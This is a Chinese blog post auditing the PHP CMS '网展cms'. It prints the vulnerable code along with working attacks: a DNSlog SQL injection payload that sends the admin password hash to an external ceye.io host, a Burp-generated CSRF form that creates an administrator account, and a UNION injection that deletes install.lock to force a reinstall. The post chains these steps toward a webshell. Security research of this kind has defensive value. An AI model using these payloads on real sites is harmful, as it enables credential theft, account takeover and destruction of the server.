网展cms代码审计(首发圈子)

环境:
window10
apache
mysql
php5.4

漏洞利用:

后台SQL注入:

~/webuser/lib/action/DownloadAction.class.php

	public function delall(){
		if ($this->isPost()) {
			if ($_POST['dell']=="") {
				$this->error('您未选择任何数据');
			}
			// var_dump($_POST['dell']);
			// exit;
			foreach ($_POST['dell'] as $value) { //存在注入
				$filename=M('Download')->where('id='.$value)->getField('filename');
				if ($filename) {
					delimg('../Uploads/download/'.$filename);
				}
			}
			$ids=implode(",", $_POST['dell']);
			$where['id']=array('in',$ids);
			if (M('Download')->where($where)->delete()) {
				$this->success('删除成功');
			} else {
				$this->error('删除失败');
			}	
		}
	}

因为这里虽然$_POST[‘dell’]接收了参数但是由于后面的delete操作会直接进行跳转所以这里普通的注入无法实现可以通过盲注或者是dnslog注入,dnslog注入会非常的方便
利用:

直接抓个删除的包 然后post数据 进行dnslog注入 dnslog的平台就会读取日志,获取信息

dell%5B%5D=1 and if((select load_file(concat('\\\\',(select password from phpcms_user limit 1),'.0wtpsg.ceye.io\\92'))),1,1)&sort%5B4%5D=123123

在这里插入图片描述
相应的如果是root权限的话那么也可以直接写入文件了 从而getshell

后台CSRF添加管理员:
~/webuser/lib/action/UserAction.class.php

public function addUser(){
	if ($this->isPost()) {
		$db=D('User');
		if($data=$db->create()){
			if($db->data($data)->add()){
				$this->success('用户创建成功',U('User/index'));
			}else{
				$this->error('用户添加失败');
			}
		}else{
			$this->error($db->getError());
		}			
	}else{
		$this->error('非法操作!');
	}	
}

漏洞poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/webuser/index.php/user/addUser.html" method="POST">
      <input type="hidden" name="username" value="pythoniam" />
      <input type="hidden" name="password" value="pythoniam" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

这里没有经过任何的验证 直接$this->isPost 接收post的请求 然后直接使用add方法执行添加语句 添加一个管理员

以上的两个漏洞 那么我们可以执行以下的攻击
1.首先发送一个跨站请求伪造请求 使得后台添加一个管理员
2.然后使用上面的sql注入漏洞 写入文件 从而拿到webshell

后台任意删除文件导致重装
~/webuser/lib/action/UserAction.class.php

	public function delall(){
		if ($this->isPost()) {
			if ($_POST['dell']=="") {
				$this->error('您未选择任何数据');
			}
			// var_dump($_POST['dell']);
			// exit;
			foreach ($_POST['dell'] as $value) { //存在注入
				$filename=M('Download')->where('id='.$value)->getField('filename');
				if ($filename) {
					delimg('../Uploads/download/'.$filename);//  ../../test.php
					echo 1;
					exit;
				}


			}
			$ids=implode(",", $_POST['dell']);
			$where['id']=array('in',$ids);
			if (M('Download')->where($where)->delete()) {
				$this->success('删除成功');
			} else {
				$this->error('删除失败');
			}	
		}
	}
function delimg($filename){  // delimg('../Uploads/download/'.$name)
  if(is_file($filename)){
	  if(unlink($filename)){
		  return true;
	  }else{
		  return false;
	  }
  }else{
	  return false;
  }
}

发现这个函数是直接进行删除操作的 那么意味着filename只要能控制住 那么就可以进行任意删除的操作

$filename=M('Download')->where('id='.$value)->getField('filename');

这里的$value值 为$_POST[‘dell’] 所传过来的参数值 而且这里的where方法是进行拼接的 那么可以进行控制
原生语句:select filename from table where id = $value 想要控制filename的值 我们可以这样

select filename from table where id = -1 ) union select '../../Home/install.lock' from phpcms_user#

总结: csrf->sql注入(看权限) 或者 重装
这么简单的"代码审计" 大家看到就不要喷了 记录下

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值